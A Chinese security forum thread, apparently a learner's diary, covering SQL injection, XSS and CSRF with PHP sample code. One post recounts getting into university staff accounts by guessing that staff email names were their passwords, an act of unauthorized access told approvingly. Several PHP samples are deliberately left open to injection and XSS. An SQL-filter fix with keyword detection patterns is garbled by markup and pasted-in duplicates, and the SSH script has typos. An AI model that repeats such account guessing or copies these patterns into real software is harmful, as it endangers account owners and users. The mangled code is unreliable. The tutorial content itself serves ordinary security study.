安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-9 08:23:51 | 显示全部楼层
  1. import pexpect

  2. PROMPT = ['# ','>>> ','> ','\$ ']

  3. def send_command(child, cmd):
  4.     child.sendline(cmd)
  5.     child.expect(PROMPT)
  6.     print chlid.before
  7.    
  8. def connect(user, host, password):
  9.     ssh_newkey = 'Are you sure you want to continue connecting'
  10.     connStr = 'ssh '+user+'@'+host
  11.     child = pexpect.spawn(connStr)
  12.     ret = child.expext([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
  13.     if ret == 0:
  14.         print('[-] Error Connecting')
  15.         return
  16.     if ret == 1:
  17.         child.sendline('yes')
  18.         ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
  19.         if ret == 0:
  20.             print('[-] Error Connecting')
  21.             return
  22.         child.sendline(password)
  23.         child.expect(PROMPT)
  24.         return child
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-14 08:07:45 | 显示全部楼层
得到教工账号历程:能看到教工身份证、邮箱。有些邮箱名很奇特,结合我自身来考虑,是下了功夫想这个名字的,并且以我胸无点墨的文学素养能有一个下功夫的名字不容易。尤其是上了年纪的人,很可能一个名字来回用。
如下图:


邮箱看起来不是随便取的,那么试试这个邮箱能不能做密码。运气buff加持,这就是密码。

推己及人,多方思索。也确实有运气成分,我试了得一会儿才找到一个。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-16 07:52:53 | 显示全部楼层
[转] Mysql报错注入原理分析(count()、rand()、group by)

一直在用mysql数据库报错注入方法,但为何会报错?




百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理。



0x01 位置问题?


select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,floor 都是直接放count(*) 后面,为了排除干扰,我们直接对比了两个报错语句,如下图




由上面的图片,可以知道报错跟位置无关。

0x02 绝对报错还是相对报错?

是不是报错语句有了floor(rand(0)*2)以及其他几个条件就一定报错?其实并不是如此,我们先建建个表,新增一条记录看看,如下图:


确认表中只有一条记录后,再执行报错语句看看,如下图:


多次执行均未发现报错。

然后我们新增一条记录。

然后再测试下报错语句

多次执行并没有报错

OK 那我们再增加一条

执行报错语句



ok 成功报错

由此可证明floor(rand(0)*2)报错是有条件的,记录必须3条以上,而且在3条以上必定报错,到底为何?请继续往下看。

0x03 随机因子具有决定权么(rand()和rand(0))

为了更彻底的说明报错原因,直接把随机因子去掉,再来一遍看看,先看一条记录的时候,如下图:

一条记录的话 无论执行多少次也不报错

然后增加一条记录。

两条记录的话 结果就变成不确定性了

随机出现报错。

然后再插入一条

三条记录之后,也和2条记录一样进行随机报错。

由此可见报错和随机因子是有关联的,但有什么关联呢,为什么直接使用rand(),有两条记录的情况下就会报错,而且是有时候报错,有时候不报错,而rand(0)的时候在两条的时候不报错,在三条以上就绝对报错?我们继续往下看。

0x04 不确定性与确定性


前面说过,floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,这到底是为什么呢?从0x03我们大致可以猜想到,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

为了证明我们猜想,分别对floor(rand()*2)和floor(rand(0)*2)在多记录表中执行多次(记录选择10条以上),在有12条记录表中执行结果如下图:

连续3次查询,毫无规则,接下来看看select floor(rand(0)*2) from `T-Safe`;,如下图:

可以看到floor(rand(0)*2)是有规律的,而且是固定的,这个就是上面提到的由于是确定性才导致的报错,那为何会报错呢,我们接着往下看。

0x05 count与group by的虚拟表


使用select count(*) from `T-Safe` group by x;这种语句的时候我们经常可以看到下面类似的结果:

可以看出 test12的记录有5条

与count(*)的结果相符合,那么mysql在遇到select count(*) from TSafe group by x;这语句的时候到底做了哪些操作呢,我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:

先建立虚拟表,如下图(其中key是主键,不可重复):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。

0x06 floor(rand(0)*2)报错


其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)*2)报错的过程就知道了,从0x04可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

0x07 floor(rand()*2)报错


由0x05我们可以同样推理出不加入随机因子的情况,由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:

当前面记录让虚表长成这样子后,由于不管查询多少条记录,floor(rand()*2)的值在虚表中都能找到,所以不会被再次计算,只是简单的增加count(*)字段的数量,所以不会报错,比如floor(rand(1)*2),如图:

在前两条记录查询后,虚拟表已经存在0和1两个键值了,所以后面再怎么弄还是不会报错。

总之报错需要count(*),rand()、group by,三者缺一不可。



回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-17 07:45:32 | 显示全部楼层
联合注入
代码分析:
  1. <?php
  2. $con = mysqli_connect("localhost","root","123456","test");
  3. if(mysqli_connect_errno())
  4. {
  5.         echo "连接失败: ".mysqli_connect_error();
  6. }
  7. $id = $_GET['id'];
  8. $result = mysqli_query($con, "select * from users where `id`=".$id)
  9. $row = mysqli_fetch_array($result)
  10. echo $row['username'].": ".$row['address'];
  11. echo "<br>";
  12. ?>
复制代码
Boolean注入
代码分析:
  1. <?php
  2. $con = mysqli_connect("localhost","root","123456","test");
  3. if(mysqli_connect_errno())
  4. {
  5.         echo "连接失败: ".mysqli_connect_error();
  6. }
  7. $id = $_GET['id'];
  8. if(preg_match("/union|sleep|benchmark/i", $id)){
  9.         exit("no");
  10. }
  11. $results = mysqli_query($con,"select * from users where `id`='".$id."'");
  12. $row = mysqli_fetch_array($results);
  13. if($row){
  14.         exit("yes");
  15. }
  16. else{
  17.         exit("no");
  18. }
  19. ?>
复制代码
报错注入
代码分析:
  1. <?php
  2. $con = mysqli_connect("localhost","root","123456","test");
  3. if(mysqli_connect_errno())
  4. {
  5.         echo "连接失败: ".mysqli_connect_error();
  6. }
  7. $username = $_GET['username'];
  8. if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){
  9.         echo "ok";
  10. }
  11. else{
  12.         echo mysqli_error($con)
  13. }
  14. ?>
复制代码
可以使用union语句+floor(rand()*2)、updatexml、extravaluable。
盲注
正则表达式类:
select 'a' regexp '^[a-z]'
![regexp.jpg]
堆叠查询
代码分析:
  1. <?php
  2. try{
  3.         $conn = new PDO("mysql:host=localhost;dbname=test","root","123456");
  4.         $conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  5.         $stmt=$conn->query("select * from users where `id` = '".$_GET['id']."'");
  6.         $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
  7.         foreach($stmt->fetchAll() as $k=>$v){
  8.                 foreach($v as $key=>$value){
  9.                         echo $value;
  10.                 }
  11.         }
  12.         $dsn = null;
  13. }
  14. catch(PDOException $e){
  15.         echo "error";
  16. }
  17. $conn =null;
  18. ?>
复制代码
PDO(PHP数据对象) 是一个轻量级的、具有兼容接口的PHP数据连接拓展,是一个PHP官方的PECL库,随PHP 5.1发布,需要PHP 5的面向对象支持,因而在更早的版本上无法使用。它所提供的数据接入抽象层,具有与具体数据库类型无关的优势,为它所支持的数据库提供统一的操作接口。目前支持多种数据库等。由于PDO是在底层实现的统一的数据库操作接口,因而利用它能够实现更高级的数据库操作,比如存储过程的调度等。
具体可百度PDO相关
在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没有起到预编译的效果,存在SQL注入漏洞。
PDO可以执行多语句,但通常返回第一条语句的结果。所以第二条语句可以用update更新注入或者时间盲注。
二次注入
  1. <?php
  2. $con = mysqli_connect("localhost","root","root","sql");
  3. if(mysqli_connect_errno()){
  4.         echo "连接失败: ".mysqli_connect_error();
  5. }
  6. $username = $_GET['username'];
  7. $password = $_GET['password'];
  8. $result = mysqli_query($con,"insert into users(`username`,`password`) values ('".allslashes($username)."','".md5($password)."')");
  9. echo "新ID为: ".mysqli_insert_id($con);
  10. ?>
复制代码
当访问username=test’&password=123456时,执行的sql语句为
  1. insert into users(`username`,`password`) values ('test\'','e10adc3949ba59abbe56e057f20f883e');
复制代码
2.php的代码如下:
  1. <?php
  2. $con = mysqli_connect("localhost","root","root","sql");
  3. if(mysqli_connect_errno()){
  4.         echo "连接失败: ".mysqli_connect_error();
  5. }
  6. $id = intval($_GET['id']);
  7. $result = mysqli_qeury($con,"select * from users where `id`=".$id);
  8. $row = mysqli_fetch_array($row);
  9. $username = $row['username'];
  10. $result2 = mysqli_query($con,"select * from person where `username` = '".$username."'");
  11. if($row2 = mysqli_fetch_array($result2)){
  12.         echo $row2['username'].":".$row2['money'];
  13. }
  14. else{
  15.         echo mysqli_error($con);
  16. }
  17. ?>
复制代码
宽字节注入
代码分析:
  1. <?php
  2. $conn = mysql_connect('localhost','root','123456') or die('bad!');
  3. mysql_select_db('test',$conn) or emMsg("数据库连接失败");
  4. mysql_query("SET NAMES 'gbk'",$conn);
  5. $id = addslashes($_GET['id']);
  6. $sql = "select * from users where id='$id' limit 0,1";
  7. $result = mysql_query($sql,$conn) or die(mysql_error());
  8. $row = mysql_fetch_array($result);
  9. if($row){
  10.         echo $row['username']." : ".$row['address'];
  11. }
  12. else{
  13.         print_r(mysql_error());
  14. }
  15. ?>
  16. </font>
  17. <?php
  18. echo "<br> The Query String is: ".$sql."<br>";
  19. ?>
复制代码
这里不能使用单引号之类的符号(都被转义了),所以要嵌套查询,避免出现引号。如:
  1. select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
复制代码
原本符号被转义了,无法闭合,存在注入点的可能性就很小。但若SET NAMES 'GBK'将编码设置为宽字节gbk,就可能会存在宽字节注入漏洞。
php中通过iconv()转码时,也可能会产生注入。


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-18 10:01:26 | 显示全部楼层
本帖最后由 pukr 于 2020-7-18 10:06 编辑

cookie注入
代码分析:
  1. <?php
  2. $id = $_COOKIE['id'];
  3. $value = 1;
  4. setcookie("id",$value);
  5. $con = mysqli_connect("localhost","root","root","sql");
  6. if(mysqli_connect_error()){
  7.         echo "连接失败: ". mysqli_connect_error();
  8. }
  9. $result = mysqli_query($con,"select * from users where `id`=".$id);
  10. if(!$result){
  11.         printf("error: %s\n",mysqli_error($con));
  12.         exit();
  13. }
  14. $row = mysqli_fetch_array($result);
  15. echo $row['username']." : ".$row['password'];
  16. echo "<br>";
  17. ?>
复制代码
XFF头注入
代码分析:
  1. <?php
  2. $con = mysqli_connect("localhost","root","root","sql");
  3. if(mysqli_connect_error()){
  4.         echo "连接失败: ". mysqli_connect_error();
  5. }
  6. if(getenv('HTTP_CLIENT_IP')){
  7.         $ip = getenv('HTTP_CLIENT_IP');
  8. }
  9. elseif(getenv('HTTP_X_FORWARDED_FOR')){
  10.         $ip = getenv('HTTP_X_FORWARDED_FOR');
  11. }
  12. elseif(getenv('REMOTE_ADDR')){
  13.         $ip = getenv('REMOTE_ADDR');
  14. }
  15. else{
  16.         $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
  17. }
  18. $result = mysqli_query($con,"select * from users where `ip`=".$ip);
  19. if(!$result){
  20.         printf("error: %s\n",mysqli_error($con));
  21.         exit();
  22. }
  23. $row = mysqli_fetch_array($result);
  24. echo $row['username']." : ".$row['password'];
  25. echo "<br>";
  26. ?>
复制代码

修复建议

  1. <?php
  2. functionCheckSql($db_string,$querytype='select')
  3. {
  4.         global $cfg_cookie_encode;
  5.         $clean = '';
  6.         $error = '';
  7.         $old_pos = 0;
  8.         $pos = -1;
  9.         $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
  10.         $userIP = GetIP();
  11.         $getUrl = GetCurlUrl();
  12.         //普通查询过滤一些特殊语法
  13.         if($querytype == 'select'){
  14.                 $nowallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\._-]{1,}";
  15.                 $nowallow2 = "--|/\*";
  16.                 if(preg_match("/".$nowallow1."/i",$db_string)){
  17.                         fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
  18.                         exit("<font size='5' color='red'>Safe Alert: Request Error Step 1!</font>");
  19.                 }
  20.         }
  21.         //完整的SQL检查
  22.         while(TRUE){
  23.                 $pos = strpos($db_string,'\'',$pos+1);
  24.                 if($pos === False){
  25.                         break;
  26.                 }
  27.                 $clean.=substr($db_string,$old_pos,$pos-$old_pos);
  28.                 while (TRUE) {
  29.                         $pos1 = strpos($db_string, '\'',$pos+1);
  30.                         $pos2 = strpos($db_string, '\\',$pos+1);
  31.                         if($pos1 === False){
  32.                                 break;
  33.                         }
  34.                         elseif ($pos2 === False || $pos2>$pos1) {
  35.                                 $pos = $pos1;
  36.                                 break;
  37.                         }
  38.                         $pos = $pos2+1;
  39.                 }
  40.                 $clean. = '$s
  41. [color=#555555][font=Lato, &quot]预编译语句[/font][/color][font=Lato, PingFang SC, Microsoft YaHei, sans-serif][color=#555555]
  42. [/color][/font]
  43. [code]$dbms = 'mysql';
  44. $db_host = 'localhost';
  45. $db_user = 'root';
  46. $db_pass = 'root';
  47. $db_name = 'study';
  48. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  49. $conn = new PDO($dsn,$db_user,$db_pass);
  50. //判断数据库是否连接成功
  51. if($conn->errorCode()){
  52.         die("filed".$conn->errorInfo());
  53. }

  54. $sql = "select * from users where username = :name";
  55. //预编译语句
  56. $stmt = $conn->prepare($sql);
  57. //定义要传入的变量(可以接收传过来的值)
  58. $username='admin';
  59. //将变量绑定到占位初
  60. $stmt ->bindParam(':name',$username);
  61. //执行sql语句
  62. $stmt->execute();
  63. // pdo预编译 占位符
  64. // $sql = "select * from users where username=? ";
  65. // $stmt = $conn->prepare($sql);
  66. // $username = 'root';
  67. //占位符通过变量绑定
  68. // $stmt -> bindParam(1,$username);
  69. // $stmt->execute();
  70. // $stmt->bindColumn(3,$id);
  71. // $stmt->bindColumn(2,$username);
  72. // 占位符通过数组绑定
  73. // $stmt ->execute([$username]);
  74. // $stmt->bindColumn(3,$id);
  75. // $stmt->bindColumn(2,$username);
  76. //将对应的数据库对应的列绑定到变量上
  77. $stmt->bindColumn(1,$pass);
  78. $stmt->bindColumn(2,$user);
  79. $stmt->bindColumn(3,$id);
  80. //将数据取出
  81. while($stmt->fetch()){
  82.         echo $id."<br>";
  83.         echo $username."<br>";
  84. }
  85. //释放内存资源
  86. $stmt =null;
  87. //断开连接
  88. $conn = null;
复制代码

方法一:执行一条使用命名占位符的预处理语句
  1. <?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn->errorCode()){
  11.     die("failed:".$conn->errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. $sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $stmt = $conn->prepare($sql);
  18. $stmt->execute(array(":c_id"=>10086,":c_name"=>'dianxin'));
  19. $stmt->setFetchMode(PDO::FETCH_ASSOC);
  20. //echo $stmt->rowCount();
  21. foreach($stmt->fetchAll() as $k=>$v){
  22.     foreach ($v as $key=>$value){
  23.         echo $value;
  24.         echo "<br>";
  25.     }
  26. }
  27. $stmt = null;
  28. $conn = null;
  29. ?>
复制代码


方法二:执行一条使用问号占位符的预处理语句
  1. <?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn->errorCode()){
  11.     die("failed:".$conn->errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. //$sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $sql = "select * from company where c_id = ? and c_name= ? ";
  18. $stmt = $conn->prepare($sql);
  19. //$stmt->execute(array(":c_id"=>10086,":c_name"=>'dianxin'));
  20. $stmt->execute(array(10086,'dianxin'));
  21. $stmt->execute(array(10086,'dianxin'));
  22. $stmt->setFetchMode(PDO::FETCH_ASSOC);
  23. //echo $stmt->rowCount();
  24. foreach($stmt->fetchAll() as $k=>$v){
  25.     foreach ($v as $key=>$value){
  26.         echo $value;
  27.         echo "<br>";
  28.     }
  29. }
  30. $stmt = null;
  31. $conn = null;
  32. ?>
复制代码


;
                $old_pos = $pos+1;
        }
        $clean.=substr($db_string,$old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s'), arrary(' '), $clean)));
        //老版本的MySQL不支持union, 常用的程序里也不使用union,但一些黑客使用它,所以要检查
        if(strpos($clean, 'union') !== False && preg_match('~(^|[^a-z])union($|[^[a-z])~s',$clean) != 0){
                $fail = TRUE;
                $error = "union detect";
        }
        //发布版本的程序可能几乎不包括 -- # 这样的注释 但黑客可能会使用。
        elseif(strpos($clean, '/*') > 2 || strpos($clean,'--') !== False || strpos($clean, '#') !== False){
                $fail = TRUE;
                $error = "comment detect";
        }
        //这些函数不会被使用 但黑客可能会用它来操作文件 down掉数据库
        elseif (strpos($clean, 'sleep') !== False && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== False && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== False && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== False && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "file fun detect";
        }
        //老版本的MySQL不支持子查询 程序里用的可能也少 但黑客可能使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) ! =0 ) {
                $fail = TRUE;
                $error = "sub select detect";
        }
        if(!empty($fail)){
                fputs(fopen($log_file, 'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error Step 2!</font>");
        }
        else{
                return $db_string;
        }
}
?>[/code]
预编译语句

  1. $dbms = 'mysql';
  2. $db_host = 'localhost';
  3. $db_user = 'root';
  4. $db_pass = 'root';
  5. $db_name = 'study';
  6. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  7. $conn = new PDO($dsn,$db_user,$db_pass);
  8. //判断数据库是否连接成功
  9. if($conn-&gt;errorCode()){
  10.         die("filed".$conn-&gt;errorInfo());
  11. }

  12. $sql = "select * from users where username = :name";
  13. //预编译语句
  14. $stmt = $conn-&gt;prepare($sql);
  15. //定义要传入的变量(可以接收传过来的值)
  16. $username='admin';
  17. //将变量绑定到占位初
  18. $stmt -&gt;bindParam(':name',$username);
  19. //执行sql语句
  20. $stmt-&gt;execute();
  21. // pdo预编译 占位符
  22. // $sql = "select * from users where username=? ";
  23. // $stmt = $conn-&gt;prepare($sql);
  24. // $username = 'root';
  25. //占位符通过变量绑定
  26. // $stmt -&gt; bindParam(1,$username);
  27. // $stmt-&gt;execute();
  28. // $stmt-&gt;bindColumn(3,$id);
  29. // $stmt-&gt;bindColumn(2,$username);
  30. // 占位符通过数组绑定
  31. // $stmt -&gt;execute([$username]);
  32. // $stmt-&gt;bindColumn(3,$id);
  33. // $stmt-&gt;bindColumn(2,$username);
  34. //将对应的数据库对应的列绑定到变量上
  35. $stmt-&gt;bindColumn(1,$pass);
  36. $stmt-&gt;bindColumn(2,$user);
  37. $stmt-&gt;bindColumn(3,$id);
  38. //将数据取出
  39. while($stmt-&gt;fetch()){
  40.         echo $id."&lt;br&gt;";
  41.         echo $username."&lt;br&gt;";
  42. }
  43. //释放内存资源
  44. $stmt =null;
  45. //断开连接
  46. $conn = null;
复制代码

方法一:执行一条使用命名占位符的预处理语句
  1. &lt;?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn-&gt;errorCode()){
  11.     die("failed:".$conn-&gt;errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. $sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $stmt = $conn-&gt;prepare($sql);
  18. $stmt-&gt;execute(array(":c_id"=&gt;10086,":c_name"=&gt;'dianxin'));
  19. $stmt-&gt;setFetchMode(PDO::FETCH_ASSOC);
  20. //echo $stmt-&gt;rowCount();
  21. foreach($stmt-&gt;fetchAll() as $k=&gt;$v){
  22.     foreach ($v as $key=&gt;$value){
  23.         echo $value;
  24.         echo "&lt;br&gt;";
  25.     }
  26. }
  27. $stmt = null;
  28. $conn = null;
  29. ?&gt;
复制代码


方法二:执行一条使用问号占位符的预处理语句
  1. &lt;?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn-&gt;errorCode()){
  11.     die("failed:".$conn-&gt;errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. //$sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $sql = "select * from company where c_id = ? and c_name= ? ";
  18. $stmt = $conn-&gt;prepare($sql);
  19. //$stmt-&gt;execute(array(":c_id"=&gt;10086,":c_name"=&gt;'dianxin'));
  20. $stmt-&gt;execute(array(10086,'dianxin'));
  21. $stmt-&gt;execute(array(10086,'dianxin'));
  22. $stmt-&gt;setFetchMode(PDO::FETCH_ASSOC);
  23. //echo $stmt-&gt;rowCount();
  24. foreach($stmt-&gt;fetchAll() as $k=&gt;$v){
  25.     foreach ($v as $key=&gt;$value){
  26.         echo $value;
  27.         echo "&lt;br&gt;";
  28.     }
  29. }
  30. $stmt = null;
  31. $conn = null;
  32. ?&gt;
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-18 16:04:18 | 显示全部楼层
本帖最后由 pukr 于 2020-7-18 16:07 编辑

https://www.cnblogs.com/beili/p/9855895.html
curl的使用,码
https://www.cnblogs.com/jbexploit/p/4553219.html
curl 爬虫
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-18 16:51:29 | 显示全部楼层
反射型xss代码分析:
  1. <html>
  2. <head>
  3.         <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
  4. </head>
  5. <body>
  6.         <center>
  7.         <h6>把我们输入的字符串输出到input的value属性里</h6>
  8.         <form action="" method="get">
  9.                 <h6>输入想显现的字符串</h6>
  10.                 <input type="text" name="xss_input_value" value="输入"><br/>
  11.                 <input type="submit">
  12.         </form>
  13.         <hr>
  14.         <?php
  15.                 if(isset($_GET['xss_input_value'])){
  16.                         echo '<input type="text" value="'.$_GET['xss_input_value'].'">';
  17.                 }else{
  18.                         echo '<input type="text" value="输出">';
  19.                 }
  20.         ?>
  21.         </center>
  22. </body>
  23. </html>
复制代码
存储型xss代码分析:
  1. <html>
  2. <head>
  3.         <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
  4. </head>
  5. <body>
  6.         <center>
  7.         <h6>输入留言内容</h6>
  8.         <form action="" method="post">
  9.                 标题:<input type="text" name="title"><br/>
  10.                 内容:<textarea name="content"></textarea><br/>
  11.                 <input type="submit">
  12.         </form>
  13.         <hr>
  14.         <?php
  15.                 $con=mysqli_connect("localhost","root","root","sql");
  16.                 if(mysqli_connect_error()){
  17.                         echo "连接失败:".mysqli_connect_error();
  18.                 }
  19.                 if(isset($_POST['title'])){
  20.                         $result1=mysqli_query($con,"insert into xss(`title`,`content`) values ('".$_POST['title']."','".$_POST['content']."')");
  21.                 }
  22.                 $result2=mysqli_query($con,"select * from xss");
  23.                 echo "<table border='1'><tr><td>标题</td><td>内容</td></tr>";
  24.                 while($row=mysqli_fetch_array($result2)){
  25.                         echo "<tr><td>".$row['title']."</td><td>".$row['content']."</td>";
  26.                 }
  27.                 echo "</table>";
  28.         ?>
  29.         </center>
  30. </body>
  31. </html>
复制代码
DOM型xss代码分析:
  1. <html>
  2. <head>
  3.         <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
  4.         <script type="text">
  5.                 function tihuan(){
  6.                         document.getElementById("id1").innerHTML=document.getElementById("dom_input").value
  7.                 }
  8.         </script>
  9. </head>
  10. <body>
  11.         <center>
  12.                 <h6 id="id1">这里会显示输入的内容</h6>
  13.                 <form action="" method="post">
  14.                         <input type="text" id="dom_input" value="输入"><br/>
  15.                         <input type="button" value="替换" onclick="tihuan()">
  16.                 </form>
  17.                 <hr>
  18.         </center>
  19. </body>
  20. </html>
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-7-18 16:52:54 | 显示全部楼层
csrf代码分析:
后台添加用户操作:
先验证用户是否存在,如果存在则通过$_SESSION设置一个session:isadmin=admin。否则设置session:isadmin=guest
接下来判断isadmin的值,若isadmin != admin,跳转到登录页面,管理员登录才能添加用户。
获取post参数username和Password,插入到User表。
  1. <?php
  2. session_start();
  3. if(isset($_GET['login'])){
  4.         $con=mysqli_connect("localhost","root","root","sql");
  5.         if(mysqli_connect_error()){
  6.                         echo "连接失败:".mysqli_connect_error();
  7.         }
  8.         $username = addslashes($_GET['username']);
  9.         $password = $_GET['password'];
  10.         $result = mysqli_query($con,"select * from users where `username`='".$username."' and `password`='".md5($password)."'");
  11.         $row = mysqli_fetch_array($result);
  12.         if($row){
  13.                 $_SESSION['isadmin'] = 'admin';
  14.         }else{
  15.                 $_SESSION['isadmin'] = 'guest';
  16.                 exit("登录失败");
  17.         }
  18. }else{
  19.         $_SESSION['isadmin']='guest';
  20. }
  21. if($_SESSION['isadmin'] != 'admin'){
  22.         exit("请登录后台");
  23. }
  24. if(isset($_POST['submit'])){
  25.         if(isset($_POST['username'])){
  26.                 $result1 = mysqli_query($con,"insert into users(`username`,`password`) values ('".$_POST['username']."','".md5($_POST['password'])."')");
  27.                 exit($_POST['username']."添加成功");
  28.         }
  29. }
  30. ?>
复制代码
CSRF利用代码:
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  2. <html>
  3. <head>
  4. <script trpe="text/javascript" language="javascript">
  5. var pauses = new Array("16");
  6. var methods = new Array("POST");
